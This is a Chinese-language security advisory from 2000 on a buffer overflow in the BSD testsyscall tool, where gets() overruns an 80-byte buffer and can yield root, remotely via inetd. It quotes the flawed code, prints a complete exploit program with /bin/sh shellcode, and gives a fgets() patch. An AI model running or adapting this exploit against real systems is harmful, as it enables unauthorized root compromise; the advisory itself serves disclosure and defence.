首页 -> 安全研究
安全研究
安全漏洞
*BSD testsyscall远程溢出漏洞
发布日期:2000-06-23
更新日期:2000-06-23
受影响系统:
描述:
- OpenBSD
- NetBSD
- FreeBSD
testsyscall是一个来对写LKM使用的系统调用进行测试的工具。它可以通过"inetd"守护程序
启动,也可以手工启动。它存在一个缓冲区溢出漏洞,可能导致远程获取root权限。
testsyscall从标准输入中得到系统调用号,并使用syscall()函数去执行相应的系统调用
但是,testsyscall没有对用户输入的数据进行边界检查。数据将被拷贝到一个80字节的固
定大小的缓冲区中,如果用户输入的数据超过80字节,就可能发生缓冲区溢出。如果testsyscall
在inetd中启动,用户可能远程获取root权限。如果在本地启动,本地用户也可能获取更高
级别的权限。
有问题的代码部分在:
/* $NetBSD: testsyscall.c,v 1.2 1997/10/13 11:20:53 lukem Exp $
*/
#include <stdio.h>
main()
{
char buf[ 80];
int err = 0;
printf( "Table offset as reported by modstat: ");
if( gets( buf) == NULL) {
printf( "[ABORT]\n");
exit( 1);
}
...
我们看到由于使用gets()没有进行边界检查,导致了这个安全问题的产生。
<* 来源: RLoxley
shinex@suburbs.net
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
// testsyscall.c exploit by shinex
// made for rlox
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE * pi;
char *buf,*p;
unsigned long *adr;
int i,off;
if(argc < 2)
{
puts("usage, testsyscallexploit \"path_to_testsyscall\" \"optional_offset\"");
exit(-1);
}
if (argc>2)
off=atoi(argv[2]);
else off=4;
printf("using buffer delta:%d\n",off);
if((p = buf = malloc(2268+28+off))==NULL)
exit(-1);
memset(p, 0x90, 2268+off);
p += 2268+off - strlen(shellcode);
for(i = 0; i < strlen(shellcode); i++)
*p++ = shellcode[i];
adr = (long *)p;
for(i = 0; i < 7; i++)
*adr++ = get_esp();
p = (char *)adr;
*p = 0;
pi = popen(argv[1], "w");
if(pi == NULL) {
perror("popen");
exit(-1);
}
*p = '\n';
*(p+1) = '\0';
if(fwrite(buf, strlen(buf), 1, pi)<0)
{
perror("fwrite");
exit(-1);
}
//execl(argv[1], argv[1],buf, NULL);
}
建议:
临时补丁程序:
# cat hp_testsyscall_patch.diff
49c49
< if( gets( buf) == NULL) {
---
> if( fgets( buf, 50, stdin) == NULL) {
浏览次数:8905
严重程度:0(网友投票)
绿盟科技给您安全的保障